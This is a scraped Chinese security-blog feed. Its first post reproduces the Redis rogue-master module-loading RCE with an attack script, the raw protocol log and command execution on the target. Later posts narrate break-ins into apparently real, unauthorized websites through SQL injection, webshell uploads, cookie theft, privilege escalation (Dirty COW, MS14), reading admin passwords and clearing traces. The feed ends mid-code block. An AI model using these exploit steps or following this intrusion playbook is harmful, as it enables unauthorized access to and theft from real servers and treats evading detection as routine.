<p>Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。</p>
<p>这里我们开两台docker来做测试</p>
<pre><code class="language-docker ">ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3fdb2479af9c        redis:5.0           "docker-entrypoint.s…"   22 hours ago        Up 4 seconds        0.0.0.0:6380-&gt;6379/tcp   epic_khorana
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   23 hours ago        Up 23 hours         0.0.0.0:6379-&gt;6379/tcp   vibrant_hodgkin
</code></pre>
<p>然后通过slaveof可以设置主从状态</p>
<p><a href="https://ae01.alicdn.com/kf/UTB8waPUwMnJXKJkSael760UzXXaP.png"><img src="https://ae01.alicdn.com/kf/UTB8waPUwMnJXKJkSael760UzXXaP.png" alt="38475ec3-1fb1-488d-ab38-55f84c7b51c6.png" /></a></p>
<p>这样一来数据就会自动同步了</p>
<h3>Redis模块</h3>
<p>在了解了主从同步之后，我们还需要对redis的模块有所了解。</p>
<p>在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。</p>
<p>编写恶意so文件的代码</p>
<p>https://github.com/RicterZ/RedisModules-ExecuteCommand</p>
<h3>利用原理</h3>
<p>Pavel Toporkov在2018年的zeronights会议上，分享了关于这个漏洞的详细原理。</p>
<p>https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf</p>
<p>在ppt中提到，在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。</p>
<p>然后在从机上加载so文件，我们就可以执行拓展的新命令了。</p>
<h3>复现过程</h3>
<p>这里我们选择使用模拟的恶意服务端来作为主机，并模拟fullresync请求。</p>
<p>https://github.com/LoRexxar/redis-rogue-server</p>
<p>然后启用redis 5.0的docker</p>
<pre><code class="language-docker ">ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   25 hours ago        Up 25 hours         0.0.0.0:6379-&gt;6379/tcp   vibrant_hodgkin
</code></pre>
<p>为了能够更清晰的看到效果，这里我们把从服务端执行完成后删除的部分暂时注释掉。</p>
<p>然后直接通过脚本来攻击服务端</p>
<pre><code class="language-bash ">ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[&lt;-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[-&gt;] b'+OK\r\n'
[&lt;-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[-&gt;] b'+OK\r\n'
[-&gt;] b'*1\r\n$4\r\nPING\r\n'
[&lt;-] b'+PONG\r\n'
[-&gt;] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[&lt;-] b'+OK\r\n'
[-&gt;] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[&lt;-] b'+OK\r\n'
[-&gt;] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[&lt;-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[&lt;-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[-&gt;] b'+OK\r\n'
[&lt;-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[-&gt;] b'+OK\r\n'
</code></pre>
<p>然后我们链接上去就可以执行命令</p>
<pre><code class="language-bash ">ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379&gt; system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379&gt; system.exec "whoami"
"\bredis\n"
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>看我如何拿下某建站公司</title>
		<link>/web/654.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:20:50 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cs]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[实战]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=654</guid>

					<description><![CDATA[文章首发于T00LS,未经允许禁止转载 前言 记录某建站公司沦陷的过程。内容简单较为简单，欢迎各位表哥交流指导。 getshell 目标是某建站公司，大致看了一下伪静态，没什么直接...]]></description>
										<content:encoded><![CDATA[<blockquote>
<p class="md-end-block md-p md-focus"><span class="md-plain md-expand">文章首发于</span><span class=" md-link"><a spellcheck="false" href="https://www.t00ls.net/articles-50574.html" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">T00LS</span></a></span><span class="md-plain md-expand">,未经允许禁止转载</span></p>
</blockquote>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain">前言</span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">记录某建站公司沦陷的过程。内容简单较为简单，欢迎各位表哥交流指导。</span></p>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain"><a class="tag_link" title="浏览关于“getshell”的文章" href="/tags/getshell" target="_blank" rel="noopener noreferrer">getshell</a></span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">目标是某建站公司，大致看了一下伪静态，没什么直接撸的欲望，一边扫着端口的同时，一边测了几个案例网站。 </span><span class="md-plain">好在没让我失望，注入一枚</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49af438ca7.png"><img src="https://i.loli.net/2019/04/03/5ca49af438ca7.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">这个时候端口也扫完了，有两个端口引起了我的注意，999和6588。分别是phpmyadmin和护卫神。</span> <span class="md-plain">尝试了一下弱口令都无果，整理了一下收集到的信息，以及可利用的点。</span> <span class="md-plain">案例站大部分与建站公司的网站在同一个服务器上，服务器为 iis7.5,windows2008（存在解析漏洞）</span> <span class="md-plain">此时有几种方式<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>： </span><span class="md-plain">1.直接注入into outfile</span> <span class="md-plain">2.前台随便找一个上传点传一个包含一句话的图片</span> <span class="md-plain">3.注入案例站读取管理员密码后台上传</span> <span class="md-plain">4.挖其他漏洞如：远程文件包含等可直接getshell漏洞</span> <span class="md-plain">第一二条都失败了，案例站的数据库用户没有读写权限，前台无上传点，由于第四条相对于来说需要另外的时间去挖并且远程包含这种基本没戏，所以最终只能后台getshell了。</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49ae16235c.png"><img src="https://i.loli.net/2019/04/03/5ca49ae16235c.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">执行命令发现无法执行，应该是权限不够？</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b2ac4594.png"><img src="https://i.loli.net/2019/04/03/5ca49b2ac4594.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">上传了aspx大马，访问500，心态炸裂。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b3e3e988.png"><img src="https://i.loli.net/2019/04/03/5ca49b3e3e988.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain"><a class="tag_link" title="浏览关于“提权”的文章" href="/tags/%e6%8f%90%e6%9d%83" target="_blank" rel="noopener noreferrer">提权</a>思路：</span> <span class="md-plain">1.phpmyadmin直接udf<span class="wpcom_tag_link"><a href="/tags/%e6%8f%90%e6%9d%83" title="提权" target="_blank">提权</a></span>（无权限读写）</span> <span class="md-plain">2.登录护卫神，和流光表哥@赢时胜流光同样的方法 </span><span class="md-plain">3.搞一个可以解析aspx，权限高一点的网站？等 </span><span class="md-plain">最后利用2，3结合搞定。</span></p>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain">登录护卫神后台+提权</span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">护卫神的漏洞利用条件是可以上传可执行脚本，来读取本地登录护卫神的cookie。shell已经拿到了，直接上传脚本读取cookie。</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b5c6e48d.png"><img src="https://i.loli.net/2019/04/03/5ca49b5c6e48d.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">f12 document.cookie 刷新:</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b7f16533.png"><img src="https://i.loli.net/2019/04/03/5ca49b7f16533.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b85468da.png"><img src="https://i.loli.net/2019/04/03/5ca49b85468da.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">这个护卫神是3.7版本的，没有找到上传点，但是不慌，有ftp账号密码，并且找到了支持asp,aspx的网站，直接上大马。</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49bd9de608.png"><img src="https://i.loli.net/2019/04/03/5ca49bd9de608.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">可以执行命令，补丁打了倒是不少，查了一下可以利用的exp，用论坛里的几个免杀的烂土豆exp都失败了，webshell版的也报错。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49bec85116.png"><img src="https://i.loli.net/2019/04/03/5ca49bec85116.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">最后弹到<a class="tag_link" title="浏览关于“cs”的文章" href="/tags/cs" target="_blank" rel="noopener noreferrer">cs</a>上，随手试了一下<span class="wpcom_tag_link"><a href="/tags/cs" title="cs" target="_blank">cs</a></span>自带的提权exp ，ms14那个，尼玛成了。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49c130660f.png"><img src="https://i.loli.net/2019/04/03/5ca49c130660f.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">tasklist /svc查看一下远程端口，由于是外网，直接登录。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49c3850489.png"><img src="https://i.loli.net/2019/04/03/5ca49c3850489.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">读了管理员的密码，清理痕迹溜了。（密码是随机的十二位大小写加特殊字符，这谁顶得住啊） </span></p>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain">总结</span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">水文，每次搞完回头再看的时候都觉得没什么技术含量，的确也是没有什么骚操作，总结一下这次<a class="tag_link" title="浏览关于“渗透”的文章" href="/tags/%e6%b8%97%e9%80%8f" target="_blank" rel="noopener noreferrer">渗透</a>，只有这个读取cookie的php脚本，我学到了，嘻嘻嘻，溜溜球~</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>再记由目录遍历到getshell</title>
		<link>/web/651.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:17:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[实战]]></category>
		<category><![CDATA[目录遍历]]></category>
		<guid isPermaLink="false">/?p=651</guid>

					<description><![CDATA[在上一篇文章之后，大家的反应出乎我的意料，可能是因为出于某些问题，此类文章较少较小众。我希望我可以通过文章记录的形式，来将经验和思路分享给大家，也欢迎大家找我交流经验。文笔不好，如...]]></description>
										<content:encoded><![CDATA[<p>在<a href="https://y4er.com/post/pentest-03-12/" target="_blank" rel="nofollow noopener noreferrer">上一篇文章</a>之后，大家的反应出乎我的意料，可能是因为出于某些问题，此类文章较少较小众。我希望我可以通过文章记录的形式，来将经验和思路分享给大家，也欢迎大家找我交流经验。文笔不好，如有错误，欢迎斧正。</p>
<p>全文纯属虚构，如有雷同，就雷同吧。</p>
<p>目标国外站<a href="http://xxx.xx.com/" target="_blank" rel="nofollow noopener noreferrer">http://xxx.xx.com/</a></p>
<p>云悉指纹</p>
<table class="layui-table">
<tbody>
<tr>
<td>Web指纹</td>
<td>PHP/5.3.3，CentOS，Apache/2.2.15</td>
</tr>
<tr>
<td>语言</td>
<td>PHP/5.3.3</td>
</tr>
<tr>
<td>数据库</td>
<td>无</td>
</tr>
<tr>
<td>Web容器</td>
<td>Apache/2.2.15</td>
</tr>
<tr>
<td>服务器</td>
<td>无</td>
</tr>
<tr>
<td>全球排名</td>
<td>无</td>
</tr>
<tr>
<td>操作系统</td>
<td>CentOs</td>
</tr>
</tbody>
</table>
<p>ip：<code>175.117.xxx.xxx</code> 无cdn无waf</p>
<p>概览全局</p>
<p>访问直接跳转到<a href="http://xxx.xx.com/member/login.php" target="_blank" rel="nofollow noopener noreferrer">http://xxx.xx.com/member/login.php</a></p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a5813dcfb8.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a5813dcfb8.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>手动测试万能密码，尝试无果。</p>
<p>查看源代码寻找敏感路径或敏感api</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a588f7715c.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a588f7715c.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>发现敏感路径</p>
<p>访问仍然跳转到登陆界面，放弃。</p>
<p>目录有迹可循，没有加特殊前缀后缀，掏出御剑</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a7390aeca6.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a59566095a.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p><code>http://xxx.com/admin</code></p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a59cba074f.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a59cba074f.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>简陋后台，尝试万能密码，无果。</p>
<p>查看源代码，无果。(有些账号密码会写在源代码中！)</p>
<p><a href="http://xxx.com/member" target="_blank" rel="nofollow noopener noreferrer">http://xxx.com/member</a></p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a5aaf75eb3.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a5aaf75eb3.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>发现<a class="tag_link" title="浏览关于“目录遍历”的文章" href="/tags/%e7%9b%ae%e5%bd%95%e9%81%8d%e5%8e%86" target="_blank" rel="noopener noreferrer">目录遍历</a>，大部分都被重定向到登陆页面。看下御剑扫出的另外几个</p>
<p><code>xxx.com/temp/</code></p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a5b2821f65.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a5b2821f65.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p><code>http://xxx.com/html/</code> 404</p>
<p><code>http://xxx.com/data/</code> 看到这个我知道这个站死定了</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a5bb692075.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a5bb692075.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>被扫描器扫描之后创建了很多文件夹，并且时间都是最近的。很有可能后台编辑器不登陆就能用。</p>
<p>三个<span class="wpcom_tag_link"><a href="/tags/%e7%9b%ae%e5%bd%95%e9%81%8d%e5%8e%86" title="目录遍历" target="_blank">目录遍历</a></span>点，我们需要耐心找下可以利用的文件或者目录。注意留意<code>upload</code>字样的文件夹，因为很有可能会有前人的脚印。这里说一点就是如果你找到前人的马但是不知道密码，你可以尝试下载同名的图片用记事本打开。</p>
<p>测试之后总结下可能被利用的点</p>
<p><code>http://xxx.xxx/data/imagesfile/upload/</code>文件上传的目录</p>
<p><code>http://xxx.xxx/data/log/error_201511.log</code>MySQL错误日志爆出绝对路径</p>
<p><code>http://xxx.xxx/member/check_userid.php</code></p>
<p><code>http://xxx/member/message.php</code></p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a5f1a709c5.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a5f1a709c5.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>唯一没打码的黄字导航存在注入，post搜索框存在注入，无任何过滤</p>
<p><code>http://xxx/board/?bid=1</code></p>
<p>到这里我想的是root权限+绝对路径写shell，美滋滋？</p>
<p>然后sqlmap报了这个，非root，非dba，服了</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a5fd10f567.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a5fd10f567.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>那只能跑后台管理员账号密码了。。然后没找到管理员表。。。国外站就是太卡，让他先跑着，回头继续看目录遍历，我们现在的目的要转向上传点上。</p>
<p>然后我在目录遍历之中没找到上传点。服了。</p>
<h2 id="峰回路转"><i class="iconfont icon-link"></i>峰回路转</h2>
<p>在之前的注入点之中，</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a614f08a6e.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a614f08a6e.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>我忽略了一个细节，而这个细节是<strong>谷歌翻译</strong>帮助我发现的- &#8211;</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a61a6b5ee4.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a61a6b5ee4.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>这个注入点是查看帖子，那么与之相对应的右下角既是发布/创建帖子。</p>
<p>上传点</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a63c349b2f.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a63c349b2f.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a62693c968.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a62693c968.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>上传点可用</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a62da7ae51.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a62da7ae51.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>尝试<a class="tag_link" title="浏览关于“getshell”的文章" href="/tags/getshell" target="_blank" rel="noopener noreferrer">getshell</a> apache+php5.3 图片白名单 上传重命名 尝试解析漏洞和截断，无果。</p>
<p>发现编辑器还有一个上传点</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a63f5eab4f.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a63f5eab4f.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a6421b596d.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a6421b596d.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>抓包</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a64b161cfc.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a64b161cfc.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>未重命名！</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a64f301446.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a64f301446.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>apache解析漏洞<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a6566ca9d3.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a6566ca9d3.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>访问404？？？</p>
<p>发现不存在<code>_thumb</code>这个目录，不知道怎么回事。</p>
<p>借助之前的目录遍历找到shell</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a665ce7816.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a665ce7816.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>蚁剑</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a66a7b6f85.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a66a7b6f85.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>权限是apache，</p>
<div class="post-image"><a class="fancybox" title="再记由目录遍历到getshell" href="https://i.loli.net/2019/03/14/5c8a67bd09411.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/14/5c8a67bd09411.png" alt="再记由目录遍历到getshell-ChaBug安全" /></a></div>
<p>脏牛获取root，懒得截图了。</p>
<h2 id="写在文后"><i class="iconfont icon-link"></i>写在文后</h2>
<p>总结：扫描=》发现目录遍历=》发现注入点=》发现编辑器=》解析漏洞=》getshell=》回马枪目录遍历找到shell=》脏牛</p>
<p>这篇文章花了半个小时去复现截图写稿，但是渗透的整个过程花掉了我两天时间，期间拐过各种坑，总而言之就是自己的经验不足，不够细心，谷歌翻译这个我是真的无语。<a class="tag_link" title="浏览关于“实战”的文章" href="/tags/%e5%ae%9e%e6%88%98" target="_blank" rel="noopener noreferrer">实战</a>是最好的老师。</p>
<p>文笔不好，写的很乱，见谅。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>记一次渗透之从后台到提权</title>
		<link>/web/650.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:16:28 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[实战]]></category>
		<category><![CDATA[脏牛]]></category>
		<guid isPermaLink="false">/?p=650</guid>

					<description><![CDATA[某日朋友发来一个站让搞！搞搞搞！ 国外站，翻译的我尴尬证都犯了。 习惯性先发文章看看编辑器上传附件什么的。 四处上传，首先尝试编辑器处上传图片，经验告诉我越low的编辑器越好拿sh...]]></description>
										<content:encoded><![CDATA[<p>某日朋友发来一个站让搞！搞搞搞！</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b100e1fad.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b100e1fad.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>国外站，翻译的我尴尬证都犯了。</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b1d0d5aec.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b1d0d5aec.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>习惯性先发文章看看编辑器上传附件什么的。</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b276a91c7.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b276a91c7.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>四处上传，首先尝试编辑器处上传图片，经验告诉我越low的编辑器越好拿shell。</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b30665201.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b30665201.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>我错了，白名单+上传重命名，smarteditor编辑器，各种截断尝试，突破不了。</p>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b48334775.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b48334775.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<div class="post-image"><a class="fancybox" title="记一次渗透之从后台到提权" href="https://i.loli.net/2019/03/12/5c87b40e1397e.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://i.loli.net/2019/03/12/5c87b40e1397e.png" alt="记一次渗透之从后台到提权-ChaBug安全" /></a></div>
<p>这编辑器无敌。随后发现另外三处均是调用此编辑器上传，暂时换思路。</p>
<p>在已经发布的文章中发现绝对路径</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1ed033533ff463407921" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1ed033533ff463407921-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
